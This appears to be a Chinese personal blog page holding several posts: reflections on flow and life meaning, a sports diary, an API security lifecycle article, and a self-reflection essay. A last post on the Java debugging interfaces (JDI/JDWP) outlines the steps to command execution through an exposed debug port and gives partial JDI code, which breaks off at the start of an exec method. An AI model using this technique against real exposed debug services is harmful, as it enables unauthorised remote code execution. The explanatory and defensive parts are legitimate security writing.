    “痛下决心追求一个重要的目标,各式各样的活动都能汇集成统一的心流体验时,意识就呈现出一片祥和。知道自己要什么,并朝这个方向努力的人,感觉、思想、行动都能配合无间,内心的和谐自然涌现。生活在和谐之中的人,不论做什么、遭遇什么,都不会把精神能量浪费在怀疑、后悔、罪恶感及恐惧之上,精力永远用在有益的方面。对生命胸有成竹的人,内心的力量与宁静,就是内在一致的最高境界。方向、决心加上和谐,就能把生命转变成天衣无缝的心流体验,并赋予人生意义。达到这种境界的人再也不觉得匮乏。意识井然有序的人不需要害怕出乎意料的事,甚至也不惧怕死亡,活着的每一刻都饶富意义,大多数时候也都乐趣无穷。”

    首先要找到一个终生的目标,其次不要害怕复杂性,这就是对你人生意义的挑战,而你可以应对的技能是“行动式生活”与“反省式生活”相结合。最终,你既有独特的个人特性,又与周围世界、人们所整合,“只要个人目标与宇宙心流汇合,意义的问题也就迎刃而解了”。

    但是正如文中所说:“伟大的音乐、建筑、艺术、诗歌、戏剧、舞蹈、哲学、宗教,都是以和谐克服混沌的好榜样”。降熵过程有高下,美有高下,技艺有高下,心流也有高下。原本的混沌越多,整合进去的元素越复杂,这个心流就越伟大。那么,自然,人生意义也有高下。那些能够整合无比复杂的人生、找到人生意义,整合无比复杂的世界、形成自己的世界观,整合无比复杂经常是相对矛盾的价值观、形成自己的价值观的人,有最大的“大心流”。

    文中所推崇的人生最优体验,不是幸福、快乐这点肤浅的感受,而是奋斗、挣扎、咬牙坚持,最终,是整合之后的巅峰体验。这才是心流的真意。

    进入心流

    “最典型的例子就是冥想。佛家经常用冥想来降伏内心那瀑布一样奔腾如雷的念头。在冥想中,你摒除杂念,心灵澄净,如一道清澈的心流。经过长期练习之后,哪怕不在冥想之中,你的心灵也会比常人更平静,遇到意外变故时能更快地集中注意力。换句话说,你的心熵整体降低了。”

    高僧冥想多年才能达到波澜不惊,我亦很难进入心流状态,待到可以稳定进入心流之时,再来补充这最后一章节。

  • 运动篇:2021开板&聊聊运动

    趁着人体机能由盛转衰的这几年,学会了几项新的运动,改变了一点对自己“运动白痴”的看法,发现自己还是蛮强的,哈哈哈

    游泳

    游泳是我前二十几年的痛,小时候两次下水的不友好经历,让我不敢再去碰水。来浙江这地方后,发现处处是水,北方人哪见过这么多水,整天杞人忧天,想着万一洪水了怎么办……在求生的欲望下,终于下定决心去学游泳。

    说起游泳还是挺自豪的,游泳是自学的,记得当初仅仅去了三次浅水区,就敢去深水区游了,虽然第一次下深水区并不优雅…..

    自学是跟着B站大佬“梦觉教游泳”的蛙泳教程开始的

    在去游泳馆之前的一周,每天回家就趴在床上或在镜子前练习标准动作,练到有一定肌肉记忆后,然后下水找感觉,喝了不少水,emmmm

    现在水平嘛,就会个蛙泳,还有踩水,50米的深水区可以一次游800米左右吧,体力有限,接下来的心愿就是学习下自由泳、蝶泳。

    徒步/爬山

    说起这爬山,我内心其实是非常抗拒,之前的想法总是,周末躺尸这么爽,为啥要虐自己……

    直到和朋友们爬了亚丁·稻城看了五色海、走了武功山两天一夜穿越线后,现在甚至有点上瘾。

    回想起稻城,去之前还以为是个观光看大片麦浪的地方,到那一看,高原还要爬山,腿软……整了两个氧气瓶就冲了,当天雨下的还挺大的,在缺氧状态下寒风刺骨,也没有太多的氧气给脑子去胡思乱想,七八公里吧,平路也就两个小时,当时愣是整了一天,咬牙一步一步向上挪……登顶后终于看到了五色海(一个灰蒙蒙的湖,网上都是骗人的)

    再就是武功山穿越,号称户外的毕业路线,南武功,北鳌太。网上都是各种说高山草甸多么多么美,说实话,确实挺美的,国庆前后去最好时节。这条路线的强度怎么说呢,对我这种弱鸡来说是地狱级别,三四十公里吧,有人说是要翻过25个山头,反正我当时只想着,爬过这个山头歇一歇,山路基本都是徒步爱好者踩出来,基本没啥基础设施,就中间山顶有个铁皮木房子,可以不用住帐篷过夜。

    这条路对于我这种新手,就是非常的虐,但是人这种生物总是有点不正常,走的时候发誓再也不去了,结束的时候反倒还想再来一次。

    其他的路线和这两个比起来就是小打小闹了。

    骑行

    从小就挺喜欢骑车的,来这边后,整了辆大行P8通勤,还有一辆Trek碳车去竞速。这项运动是真烧钱,当初各种压抑自己欲望,一套下来都两个多W了,后边各种升级,一个车轮就得几K,更别说换车了,每年出来新车,就馋的流哈喇子,有些车友一辆车都十几个W,重量在八九千克,单手轻松提溜起来,时速能达到上百公里……就是真的是无底洞。

    当前刚拿到车,在小区里用了半个多小时学会了上锁,第二天就报名了一条不归路“林峰山-安顶山穿越”,全程140公里,山头也有几十个吧,许多坡陡的走路都很艰难,更别说蹬上去了……到现在都不想过于回忆这条路线,只记得两个事情,在这里达到了骑车生涯中的最高速——70km/h,感觉生死走了一趟,另外就是实现了第一摔,从这之后,下坡再也不敢野了,安全第一。

    然后过了几个月,又跟着车队骑了一次,人果然是一种不会记住历史的生物,不出意外,又是一次血虐……之后就再也不骑这条路线了(不过推荐给了好多骑友,哈哈哈)

    有一说一,浙江这地方,一年之中真正适合骑车的日子没多少,然后到处修路,加上很多事情都delay了,现在已经很少骑车了。车子在卧室旁边,每每看到都觉得对不起它,哎……

    滑雪

    这东西被叫做“白色鸦片”,真不是瞎说,有点上瘾,这不桐庐刚开了半个初级道,就冲了……

    单板和双板之间选择的话,比较推荐单板,可玩性很高,安全,飘逸,总结下就是帅(摔起来就很难看了),唯一的缺点大概就是入门难度比较高了。

    现在自己的单板基本就像视频里,经历了推坡、落叶飘、换刃后,S滑行还是不太连贯,花滑不会,昨天在初级坡上练了下,摔得够呛,四个小时差不多不到二十趟,腰酸背疼……

    现在自己顶多算个初级入门,能从中级道没有太多花样的情况下滑下来不摔,连续S滑行有时太快了容易摔。

    冬天来了,抓住机会多滑几次……

    羽毛球

    小白。(拍子持续吃灰中)

    明明可以抱教父大腿好好学一下,失去了才知道……

    后边有时间报个教练吧,打过几次感觉羽毛球挺有意思的。

    跑步

    跑步最大的好处应该就是不限制场地吧,然而这是我从小的弱项,一千米永远都是噩梦。

    后来通过骑行,耐力有了一点点的提升,现在勉强可以保持在4公里左右,太难了。

    这次双十一被怂恿搞了双“kayano 28”,然而再强的装备也扶不起来阿斗,emmmm

    立一个flag,三年内跑一次半马(大不了上收容车……)

    健身/撸铁

    从囚徒健身到后来健身房,三天打鱼,两天晒网的,断断续续也快10年了,当初奔着增肌长肉去的,然而这么些年过去了,体重没有一点变化,力量倒是蹭蹭的往上长,真不知道是个好事还是坏事。

    不过现在也想明白了,健身是为了啥,还不是健康,胖瘦都无所谓了。

    安全第一

    危险性的运动一定要保护好自己,就像昨天滑雪,虽然只是个初级道,速度也不快,但是谁能保证身后没有“人肉炸弹”呢,也许是我太谨慎了,给自己包裹的严严实实。

    运动的意义

    自己的身体状态真的很迷,一旦有一段时间不锻炼,整个人的状态就会很快速的下滑,没有精神,睡不醒。这种情况下强迫自己去跑几次,状态就很快恢复回来了。现在中午都会抽时间去跑一下,几公里下来,整个下午就跟打了鸡血,像之前午睡起来后只想一件事,那就是继续睡……

    焦虑这个东西,大家现在应该或多或少都会有,我有一段时间频繁失眠,然后第二天没有状态,恶性循环了老长一段时间,后来就是强迫自己去撸铁才恢复到正常状态。当高速骑行、滑行的时候,整个人的精神是高度集中在当前事物上的,可以理解为进入了运动的心流,这时脑子中的杂念都会消失的无影无踪,这个过程中真的是非常的舒服。

    其实还有一个,那就是灾难来了的时候能多一丝希望,无论是疫情、洪水还是地震、战争,当有一个好的身体,逃生起来也是有利的。

    在回来的大巴上用手机断断续续手敲的,没啥逻辑,随便看看就好。

  • API安全生命周期

    写在前面

    本文的由来主要是最近一年来对内部API风险治理过程中的总结。因为API的种类繁多,并没有写的很详细,但是在其中表达了很多API治理的思路和经验总结。在WAF、黑白盒扫描器、RASP越来越成熟的今天,API导致的逻辑类风险将是各公司面临的最大难题,希望本文可以给予同行者们一些帮助。

    一、什么是API

    应用编程接口(API)由一组用于集成应用软件和服务的工具、定义和协议组合而成 https://www.redhat.com/zh/topics/api 。设计方式主要遵循SOAP协议或者REST架构。SOAP和REST的关系此处不在赘述,详情可以看https://www.redhat.com/zh/topics/integration/whats-the-difference-between-soap-resth。

    API 既可以私有(仅供内部使用),也可以合用(与特定合作伙伴共享以创造更多收益)或公用(允许第三方开发的应用能与您的API 交互,从而推动创新)。

    在大多数情况下,企业会采用微服务架构,想要通过加速软件开发来满足需求。基于 HTTP 的 API 已成为微服务架构之间同步交互的首选方法。因为它们可以降低部署、可扩展性和维护的复杂性和开销。这些 API 是将所有微服务连接在一起的粘合剂。API被广泛的应用在各种业务中,也导致大量不规范的API发布到线上,将风险暴露在攻击者的视线中。

    二、API生命周期

    生命周期就是指一个对象的生老病死。其实所有的非瞬时性的对象都有着自己的生命周期,诞生-存在-消亡。

    live

    那结合我们的实际经验,可以总结出API的生命周期,设计-开发-测试-上线-运行-迭代-下线。

    life

    三、API安全生命周期

    1. API面临的主要网络攻击

    在聊API安全生命周期之前,首先我们要思考一下,API会遇到哪些攻击。API作为业务的表达,承载着大量的数据和生产资料,主要的攻击主要包括以下几种:

    1. 失陷的访问控制
      “失陷的访问控制”也就是常说的“越权”,荣登OWASP 2021的Top 1。API的访问控制失效,攻击方可直接调用API进行增删改查操作,造成数据泄漏或者生产中断。在有一定安全水位的企业里,越权漏洞一定是高危漏洞种类的重要组成。

    2. 数据泄漏(敏感数据暴露、加密失败)
      数据泄漏风险可以说是现在企业面临的最高网络攻击风险了,主要的泄漏途径除了被入侵拖库,就是API的数据过度透出、访问控制缺陷导致被批量调用泄漏数据。随着现在大公司的网络边界安全水位越来越高,被入侵拖库的难度已经非常大了,但是不规范的API暴露的数据泄漏敞口仍然是非常之多。

    3. Web网络攻击
      针对API的Web网络攻击主要包括DDoS攻击、注入攻击等等。这类传统web攻击类型作为一类,它们的共同点就是可以通过一定的策略进行拦截。

    2. API生命周期中的安全

    上面讲的都是外部的网络攻击威胁,但产生这些风险的原因都是内因,我们顺着API生命周期来看每一个环节中缺少的安全部分以及难点。

    seclife

    1. 设计阶段

    绝大部分开发同学都想开发出安全和可靠的API,但是在设计之初以及开发过程中,因为自身对风险的整体认知不足,往往很难做到完善可靠的安全设计。在设计阶段,产品、开发等会多次对焦需求和设计方案,但是往往安全的角色在这里是缺席的。

    理想情况下,如果每个API的设计阶段都有安全工程师参与其中对其进行威胁建模,那线上的API风险将会大大减少。但是我们都知道,在 安全:开发 = 1:1000 的现状下,人工覆盖每个API的威胁建模将永远是一个美好的想象。

    安全部分:

    将威胁建模加入到API设计阶段,给出可能发生的风险解决建议和方案。

    实施难点:

    安全工程师在公司中的人数往往比较少,难以人工覆盖。

    实现建议:

    建设自动化威胁建模能力,同时对业务进行分层。采用“重点业务人工评审”和“非重点业务自动化威胁建模”相结合的方式,可以有效的对核心高风险接口进行覆盖。在过去半年里,我们在公司内部落地了这个思路,效果非常明显。

    2. 开发阶段

    开发过程中,安全基本没有机会参与其中,能做的大概就是提供API安全开发规范、安全开发插件、安全辅助包等辅助性安全开发工具。是否使用,全看开发同学的安全意识以及开发项目的紧迫程度。

    再一个有用的则是白盒代码扫描,嵌入到CI/CD流程中,发布到测试环境时就进行扫描。但是白盒代码扫描的弊端也很明显,对于逻辑类的风险,目前尚未有很好的检测工具,API是否包含敏感数据也很难判断。

    安全部分:

    1. API安全开发规范、安全开发插件、安全辅助包
    2. 嵌入到CI/CD流程中的白盒代码扫描工具

    实施难点:

    如何让开发人员将这些安全辅助工具用起来是个挑战,安全意识培养在于一点一滴的积累。

    实现建议:

    白盒代码扫描实现越权等逻辑类漏洞的检测,在我看来是未来最有可能有效解决逻辑类漏洞的方向之一。但是到现在尚未看到有准确率高、可大规模覆盖使用的产品出现。不过各个公司内部应该都在进行着类似的实现,期待。

    3. 测试阶段

    如果利用得当,测试阶段将是保证API安全上线的一个关键环节。无论是自动化测试流程还是人工测试,都会对API的业务逻辑实现、稳定性等进行策略,越重要的业务覆盖的越全面。如果在测试的CheckList中加入API相关的内容,则可以接入测试的能力发现API的安全问题。

    在这里有一个关键问题,那就是API安全漏洞是否属于bug,例如API的权限校验失效,是否应该算进未被发现的bug数量中。这个共识如果可以达成,那接下来就可以去讨论如何合作了,无论是嵌入到自动化测试平台或者人工测试的CheckList中。在笔者看来,这个共识并不是很难达成,当然这也要看生产关系是怎样的。

    安全部分:

    与测试团队达成共识,API安全漏洞等于BUG,在此基础上,结合已有的基础设施进行合作,与测试团队共同在上线前发现API的安全风险。

    实施难点:

    1. 测试团队的工作往往也比较饱和,要想达成共识最好能从上到下进行
    2. 测试团队人员的安全专业能力往往欠缺,需要安全团队给予安全能力培训或者提供安全工具辅助发现安全风险

    实现建议:

    主要还是三个要点:与测试团队达成共识、提供自动化的测试工具以及提高测试同学的安全专业能力。

    4. 上线阶段

    API发布上线阶段是最关键的环节之一。如果API的漏洞在设计、开发、测试环节中没有被发现,那这将是最后的机会去阻止漏洞产生了,一旦发布到线上,那就只能和攻击者赛跑了。

    到这个阶段,理论上传统Web漏洞应该已经都被黑白盒漏洞扫描工具发现出来了,如果还没有,那就很难发现了。但是API权限和API数据相关的漏洞在上线阶段是很容易被安全同学挖掘出来的,不过这里也存在一个人力分配的情况。根据笔者的经验,在这个阶段将有限的安全人力投入到高风险的资产中是最具性价比的。什么样的API是高风险的呢?涉及敏感信息的、涉及资金的、涉及核心基础设施操作的,等等,与设计阶段的评审一样,分层治理。

    安全部分:

    通过建设自动化发现高风险API能力,例如通过测试流量识别敏感数据API等,对高风险API进行人工安全上线评审,将高危API漏洞拦截在上线前。

    实施难点:

    主要的难点应该是如何发现高风险的“影子资产”API,在聚光灯的API资产,出现风险的概率往往比较低,但是那些不在我们视线中的API,往往因为没有经过安全评审,产生严重的漏洞。业务、应用越多,“影子资产”API也会越多,如果对API资产进行全面的覆盖、管理,是一个非常有意义且重要的题目。

    实现建议:

    可以先从流量、日志入手,找到测试环境的流量,通过其识别哪些资产属于高风险资产,“影子资产”API的发现也可以类似的方式持续发现。

    5. 运行阶段

    运行阶段,API风险往往已经暴露在互联网,随时可能被攻击利用。这个节点的重心要做两件事,API被攻击情况的监控以及API漏洞的持续巡检。

    API被攻击情况的监控:例如通过WAF监控阻断SQL注入请求、通过防爬拦截掉尝试利用API越权漏洞获取数据的请求、通过UEBA发现利用自身权限批量获取敏感数据的行为等等。主要的监控能力需要具备WAF拦截、DDoS防御、爬虫拦截、用户异常行为检测等。

    安全部分:

    通过流量安全监控平台对风险进行检测、阻断,同时结合完善的应急响应流程,对攻击事件进行处置。

    实施难点:

    1. 数据窃取类流量和真实业务流量相似度较高,通过传统的规则策略发现难度较大
    2. 内部人员利用API获取数据的检测难度大

    实现建议:

    购买或者自研各类监控平台,对高风险API进行重点监控,同时针对各种类型的API风险,制定完善可靠的应急SOP。

    6. 迭代阶段

    这个阶段可能是最令人头疼的了,即便是这个API上线时经过各种扫描、评审,确定没有安全风险了,后边随着业务需求变化发生改动,就很容易产生新的风险,特别是当开发人员认为前期已经做过非常多的安全检测后,不太可能再出问题时。

    安全部分:

    1. 需要我们建设响应的API迭代发现能力,当API发生高风险迭代时,介入安全评审流程。

    实施难点:

    1. 当API发生迭代后,API的名称和API的参数可能并不会发生变化,却在返回值中透出了敏感数据

    实现建议:

    1. 监控API的返回值,当历史API的返回值中新增敏感数据时,介入安全评审
    2. 监控代码仓库变更,当发现API方法代码发生变更时,介入安全评审
    3. 监控历史API的名称、入参等,当发生变化时,介入安全评审

    7. 下线阶段

    大量的API在完成自己的使命后,没有被及时下线,不仅会浪费系统资源,还会变成潜在的线上风险。例如一个API存在越权漏洞,但是因为没有流量一直没有被发现,直到有一天被攻击者利用。

    安全部分:

    1. 需要我们针对该下线未下线的API建立API生命周期流程管理,催动无流量API下线。

    实施难点:

    1. 如何识别哪些API是应该下线的,部分API在特殊业务场景下,可能在一年中只会使用几次,这部分要单独维护

    实现建议:

    1. 监控API的流量变化,对一段时间内无流量的API启动下线流程

    3. API中的关键设施

    1、API管理

    API资产管理平台是API中的关键设施,从上文的API安全生命周期中可以看到,在各个环节都要依赖该平台能力,简单总结大致需要这几点功能:

    1. API资产自动发现能力,能否覆盖影子资产是关键
    2. API流量监控能力,持续性的对API的总流量及异常流量等各类API数据进行记录
    3. API敏感数据识别能力,API会涉及哪些敏感数据
    4. API画像构建能力,调用方、调用量等等

    API网关在一定程度上也会承载API管理的角色,但是一个公司里,往往不会只有一个API网关,甚至是很多API并没有走API网关,所以从安全的角度,需要有一个all in one的API管理平台。

    2、API网关

    近几年微服务架构的兴起使得API 网关成为必要的关键设施,庞大的业务系统被拆分成许多粒度更小的微服务,进行独立部署和维护,这种模式带来了更多的跨系统交互,应用API 的规模也爆发增加,API网关已然成为了微服务架构的标配组件。

    一个典型的API网关往往承载了非常多的能力,例如路由、限流、版本控制、运行情况监控等,但是在这里只聊安全性。

    gateway

    API网关在安全性中的角色主要是“身份验证”和“访问控制”。API网关的访问控制功能通常从身份验证机制开始,用来确定API调用实际来源。

    身份验证方式主要有:

    1. API密钥:例如签名等
    2. 基础身份验证:账号、密码登录
    3. OAuth2.0、OpenID Connect 、SAML等

    访问控制主要涉及API的访问控制,哪些用户、调用方可以访问,这里需要和账号体系中的角色进行判断。

    3、API权限设计

    权限失效类的风险主要包括以下几类:

    1. API未授权访问
    2. API水平越权
    3. API垂直越权

    除了上边说的三类权限漏洞,结合业务场景,一般会将权限分为两类

    1. API功能性权限/菜单权限(用户有没有权限访问这个功能/菜单)
    2. API数据性权限(用户有没有权限访问其它用户的数据)

    大多数情况下,只要开发人员有安全意识,往往不会遗漏权限校验。但是往往因为业务紧急情况或者对于架构的错误理解,对权限做出一些错误的理解。当然,还有很多没有安全意识的开发人员,认为有了登录就万事大吉了,这种情况就只能加强安全意识培训了。

  • 达克效应、傻逼速率与自我怀疑的这半年

    达克效应:无知要比知识更容易产生自信。

    傻逼速率:检验自己有没有成长的关键就是看你往回看自己,觉得自己说过的话,做过的事跟傻逼一样,就说明你进步了。

    今天在整理以往的笔记时,发现了这两个名词。再回想过去的这两年,发现自己的傻逼速率已经非常低了。

    在前些年,我会频繁的删除自己在博客、朋友圈、微博等平台上发表的言论,因为每隔一段时间去看,就会觉得自己怎么会写出这么矫情/低级/没有思考的文字(这篇公众号也有可能是这样的),觉得当时的自己好傻逼。

    但是最近一两年的自己,明显感觉到自己不够傻逼了。输出几乎为零,输入的东西也没有体系化。每天忙忙碌碌,感觉自己做了很多事情,但是回过头看下自己做的事情,却没有什么值得引以为豪的,真正对社会产生价值的事情。

    大概是速率降到了足够低的程度,最近半年以来,会经常性的陷入到自我怀疑的状态中,会去想自己的“存在意义”到底是什么,什么事情可以值得自己一生去追求。这个答案至今仍无法回答自己。

    不过经过这半年来的思考和调整,已经有了些许答案,这里放在下文去讲。插入一下“达克效应”。

    为什么在这里插入这个话题呢?因为在这自我怀疑的半年中,从外界输入了很多知识、思想,在求索的过程中认知的边界得到了扩大,认知圆的边也越来越长,过程中在脑海里闪现过之前无数个无知的片段。

    或许也是人的一种通病,当对一个领域在完全没有认知的时候,会感觉到神秘、向往,但凡有了一点认知或取得了一点成绩,就会盲目的产生自信,能力差的人就会高估自己的水平,认为自己已经掌握了这个领域,进而不能正确的认识到这个领域中真正具备此领域技能人的水平。

    想想是不是有时候看几眼别人的PPT就觉得自己也行了。比如SRC漏洞挖掘,只因为几年前自己挖过几个漏洞,然后在后台看到很多漏洞的实现非常简单,就觉得谁上都行。这就是一个典型的无知的例子。

    就在我盲目的觉得谁上都行的时候,自我怀疑的脑海中一直有个念头,“你行你上啊”。因此我在某个假期的时候认真的去思考了如何持续的挖掘到大公司的漏洞并且进行了一系列的实践,事实证明,如果要保证持续产出,将是一项脑力+精力+经验+时间的高难度挑战,在保证当前工作的情况下难以做到。

    真正触发自己开始思考这个问题起因还是这几个月在搞的“异常行为检测”,从策略到模型,中间多次陷入瓶颈,以为大抵就这样了,然后在查阅资料的过程中一次次的恍然大悟,才真正的认识到自己在这个领域就是一个彻彻底底的弟弟。

    还有许许多多不方便在这里提及的事情表明,在每一个小领域里,想要做到出彩并不容易,到做到盲目认知却很容易。

    也借着这篇文章输出一下自己阶段性的思考:

    关于“三观”:

    三观没有所谓对错,在整个人生范围内,知道自己的所求,知道自己的存在意义,并为之去追寻,便是自己的“人生观”。

    但是这个的前提在于你的“价值观”足够多元,知道什么事情对自己重要。如果你的价值观里只有钱,哪你的人生意义大抵只能去赚钱了。

    而如何让“价值观”多元,则需要“世界观”的足够丰富。学习的越多、知道的越多、见识的越多,则越丰富,也就对自己的“人生观”更清晰。

    关于“存在意义”:

    在过去半年多的时间里,经常问自己“你的梦想是什么?”,现在还没有一个结果,但明显的感觉到自己的傻逼速率已经重回正轨,to do list 里面还有很多等待自己去补全,雾虽大但路就在脚下。

    最后的最后,就用曾老的一句话结尾吧:

    “灵明无着,物来顺应,未来不迎,当时不杂,既过不恋。”

    记于2021.11.14凌晨两点

  • 从编写JDI调试到实现JDWP命令执行

    1.JPDA

    JPDA(Java Platform Debugger Architecture) 是 Java 平台调试体系结构的缩写,通过 JPDA 提供的 API,开发人员可以方便灵活的搭建 Java 调试应用程序。
    JPDA 主要由三个部分组成:

    Java 虚拟机工具接口(JVMTI)
    Java 调试线协议(JDWP)
    Java 调试接口(JDI)
    

    2.JVM TI

    JVMTI其实就是一套由虚拟机直接提供的本地代码接口,包含了调试、监听、线程分析及覆盖率分析等接口,它处于整个JPDA体系的最底层。

    一般可以通过采用建立一个Agent的方式来使用JVMTI,其显著的特征就是通过设置回调函数的方式,从java虚拟机上得到当前运行态信息,并做出自己的相应的操作,抑或操作虚拟机的运行态,以达到一些特定的目的(如优化程序性能)。

    把Agent编译成一个动态链接库后,就可以在java程序启动/运行的时候(增加启动参数agentlib/ agentpath)来加载它。

    以启动时加载为例:

    3.JDWP

    JDWP 是 Java Debug Wire Protocol 的缩写,它定义了调试器(debugger)和被调试的 Java 虚拟机(target vm)之间的通信协议。

    Target vm 中运行着我们希望要调试的程序,它与一般运行的 Java 虚拟机没有什么区别,只是在启动时加载了 Agent JDWP 从而具备了调试功能。

    debugger 向运行中的 target vm 发送命令来获取 target vm 运行时的状态和控制 Java 程序的执行。

    3.1JDWP Start Up

    在建立传输链接之后,连接的两端首先会进行握手,然后再进行其它数据包的传输。
    握手的步骤有以下两步:
    1. debugger侧发送14 bytes 的 14个ASCII字符 “JDWP-Handshake”到VM中;
    2. VM回复相同的14 bytes “JDWP-Handshake” 完成握手。

    https://docs.oracle.com/en/java/javase/12/docs/specs/jdwp/jdwp-spec.html

    3.2Packet结构

    命令包(command packet)和回复包(reply packet),Packet分为包头(header)和数据(data)两部分组成。包头部分的结构和长度是固定的,而数据部分的长度是可变的。command packet和reply packet的包头长度相同,都是11个bytes。

    Length 和 Id 字段是不言自明的。Flag 字段仅用于区分请求包和回复包,值为 0x80 表示回复包。CommandSet 字段定义了命令的类别,如下表所示。 

    1
    2
    3
    4
    命令集	      命令
    0x40 JVM 采取的行动(例如设置断点)
    0x40–0x7F 向调试器提供事件信息(例如,JVM 已达到断点并等待进一步的操作)
    0x80 第三方扩展

    请记住,我们要执行任意代码,以下命令对我们来说是最有趣的。
    • VirtualMachine/IDSizes 定义了 JVM 处理的数据结构的大小。这是 nmap 脚本 jdwp-exec.nse[11] 不起作用的原因之一,因为该脚本使用硬编码的大小。
    • ClassType/InvokeMethod 允许您调用静态函数。
    • ObjectReference/InvokeMethod 允许您从 JVM 中的实例化对象调用函数。
    • StackFrame/(Get|Set)Values 提供从线程堆栈推送/弹出功能。
    • Event/Composite 强制 JVM 对该命令声明的特定行为做出反应。此命令是调试目的的主要关键,因为它允许设置断点,在运行时单步执行线程,并在以与 GDB 或 WinDBG 完全相同的方式访问/修改值时收到通知。
     
    JDWP 不仅允许您访问和调用已驻留在内存中的对象,还允许您创建或覆盖数据。
    • VirtualMachine/CreateString 允许您将字符串转换为存在于 JVM 运行时中的 java.lang.String。
    • VirtualMachine/RedefineClasses 允许您安装新的类定义。

    上述的定义是重要的,JDI可以利用invokeMethod调用目标 VM 中此对象的指定方法,这是实现命令执行的关键

    1
    2
    3
    4
    5
    ObjectReference getObjectReference = vm.classesByName("java.lang.Runtime").get(0).classObject();
    Method getMethod = vm.classesByName("java.lang.Class").get(0).methodsByName("getMethod").get(0);
    …….

    ObjectReference getRuntimeMethodRe = (ObjectReference) getObjectReference.invokeMethod(threadReference, getMethod, param1, 1);

    3.3Using JDWP

    java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=8000

    -agentlib:jdwp :JVM加载jdwp代理
    transport=dt_socket : 使用socket传输
    server=y : JVM将listen for a debugger注入到其中
    suspend=y  : JVM在执行主类之前等待debugger attach,如果设置为n,则直接执行主类,同时进行监听
    address=8000 : 指定套接字的端口,在JDK9及以后,这种配置只监听localhost的8000端口
    

    4.Debug过程

    1、先建立起了 socket 连接

    2、将断点位置创建了断点事件通过 JDI 接口传给了 服务端(程序端)的 VM,VM 调用 suspend 将 VM 挂起

    3、VM 挂起之后将客户端需要获取的 VM 信息返回给客户端,返回之后 VM resume 恢复其运行状态

    4、客户端获取到 VM 返回的信息之后可以通过不同的方式展示给客户

    4.1基于JDI编写一个调试代码

    1.创建Connector

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    VirtualMachineManager vmm = Bootstrap.virtualMachineManager();
    List<AttachingConnector> connectors = vmm.attachingConnectors();
    SocketAttachingConnector sac = null;
    for (AttachingConnector ac : connectors) {
    if (ac instanceof SocketAttachingConnector) {
    sac = (SocketAttachingConnector) ac;
    break;
    }
    }
    if (sac == null) {
    System.out.println("JDI error");
    return;
    }

    2.链接到JVM

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    Map<String, Connector.Argument> arguments = sac.defaultArguments();
    Connector.Argument hostArg = (Connector.Argument) arguments.get(HOST);
    Connector.Argument portArg = (Connector.Argument) arguments.get(PORT);

    hostArg.setValue("127.0.0.1");
    portArg.setValue(String.valueOf(8800));

    vm = sac.attach(arguments);
    process = vm.process();
    eventRequestManager = vm.eventRequestManager();

    3.获取要调试的类和方法名称

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    List<ReferenceType> classesByName = vm.classesByName("test.Test");
    if (classesByName == null || classesByName.size() == 0) {
    System.out.println("No class found");
    return;
    }
    ReferenceType rt = classesByName.get(0);
    List<Method> methodsByName = rt.methodsByName("printHello");
    if (methodsByName == null || methodsByName.size() == 0) {
    System.out.println("No method found");
    return;
    }
    Method method = methodsByName.get(0);

    4.设置要调试的断点

    获取断点进程

    1
    2
    3
    4
    5
    BreakpointEvent breakpointEvent = (BreakpointEvent) event;
    ThreadReference threadReference = breakpointEvent.thread();
    StackFrame stackFrame = threadReference.frame(0);

    stackFrame.visibleVariables();

    设置断点位置和断点事件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // Get location
    ReferenceType referenceType = classPrepareEvent.referenceType();
    List locations = referenceType.locationsOfLine(34);
    Location location = (Location) locations.get(0);

    // Create BreakpointEvent
    BreakpointRequest breakpointRequest = eventRequestManager.createBreakpointRequest(location);
    breakpointRequest.setSuspendPolicy(EventRequest.SUSPEND_ALL);
    breakpointRequest.enable();

    5.监听断点并执行调试

    1
    2
    3
    4
    5
    6
    7
    8
    vm.setDebugTraceMode(VirtualMachine.TRACE_EVENTS);
    vm.resume();

    List<Location> locations = classesByName.get(0).locationsOfLine(34);
    BreakpointRequest breakpointRequest = eventRequestManager.createBreakpointRequest(locations.get(0));
    breakpointRequest.enable();

    eventLoop(); //要调试的断点和执行

    5.JDWP 命令执行原理

    原理部分参考:https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

    1. 获取 Java 运行时参考
      JVM 通过对象的引用来操作对象。因此,我们的漏洞利用必须首先获取对 java.lang.Runtime 类的引用。从这个类中,我们需要对 getRuntime() 方法的引用。这是通过获取所有类(AllClasses 数据包)和我们正在寻找的类中的所有方法(ReferenceType/Methods 数据包)来执行的。  
    2. 设置断点并等待通知(异步调用)
      这是我们利用的关键。要调用任意代码,我们需要处于正在运行的线程上下文中。为此,hack 是在已知在运行时调用的方法上设置断点。如前所述,JDI 中的断点是一个异步事件,其类型设置为 BREAKPOINT(0x02)。当命中时,JVM 向我们的调试器发送一个 EventData 数据包,其中包含我们的断点 ID,更重要的是,对命中它的线程的引用。

    因此,将其设置在经常调用的方法上是一个好主意,例如 java.net.ServerSocket.accept(),每次服务器接收到新的网络连接时很可能会调用该方法。但是,必须记住,它可以是运行时存在的任何方法。
     
    3.在Runtime中分配一个Java String对象来执行payload
    我们将在 JVM 运行时中执行代码,因此我们所有的操作数据(如字符串)必须存在于 JVM 运行时中(即拥有运行时引用)。这很容易通过发送 CreateString 命令来完成。

    1. 从断点上下文中获取运行时对象
      在这一点上,我们几乎拥有成功、可靠利用所需的所有元素。我们缺少的是运行时对象引用。获取很简单,我们可以简单的在JVM运行时执行java.lang.Runtime.getRuntime()静态方法[8],通过发送ClassType/InvokeMethod包并提供Runtime类和线程引用。  
    2. 在Runtime实例中查找并调用exec()方法
      最后一步是简单地在上一步获得的运行时静态对象中查找 exec() 方法,并使用我们在第三步中创建的 String 对象调用它(通过发送 ObjectReference/InvokeMethod 数据包)。

     

    6.基于JDI实现命令调用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    private static void exec(ThreadReference threadReference) throws Exception {
